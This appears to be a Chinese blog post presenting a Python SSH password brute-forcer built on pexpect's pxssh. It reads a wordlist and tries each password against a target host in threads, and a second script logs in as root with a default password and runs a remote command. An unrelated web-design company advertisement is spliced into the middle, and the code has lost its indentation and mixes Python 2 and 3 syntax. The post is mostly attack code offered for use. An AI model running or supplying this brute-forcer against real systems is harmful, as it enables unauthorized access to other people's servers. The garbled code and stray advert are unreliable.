Python脚本--爆破SSH
利用Pxssh是pexpect库的ssh专用脚本
环境:kali
为郎溪等地区用户提供了全套网页设计制作服务,及郎溪网站建设行业解决方案。主营业务为成都网站设计、网站建设、外贸网站建设、郎溪网站设计,以传统方式定制建设网站,并提供域名空间备案等一条龙服务,秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求,就会得到认可,从而选择与我们长期合作。这样,我们也可以走得更远!
代码:
'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *
Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+]Password Found:"+password)
Found = True
except Exception as e:
pass
def main():
parser = optparse.OptionParser('usage %prog -H -f -u ')
parser.add_option('-H', dest='host', type='string', help='target host')
parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
parser.add_option('-u', dest='user', type='string', help='login username')
(options,args) = parser.parse_args()
host = options.host
passwdfile = options.passwdfile
user = options.user
if host==None or passwdfile==None or user==None:
print(parser.usage)
exit(0)
mn = open(passwdfile,'r')
lines = mn.readlines()
for line in lines:
with connection_lock:
password = line.strip('\n')
print('[-] Test:'+str(password))
t = Thread(target=connect,args=(host, user, password))
t.start()
if __name__ == '__main__':
main()
执行结果:
爆破成功后(远程执行上述命令)
代码:
'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
s.sendline(shell)
s.prompt()
print s.before
def connect(host,user,password):
try:
s=pxssh.pxssh()
s.login(host,user,password)
return s
except:
print("[-] Error Connecting")
exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')
文章标题:Python脚本--爆破SSH
文章地址:http://scyanting.com/article/gpooch.html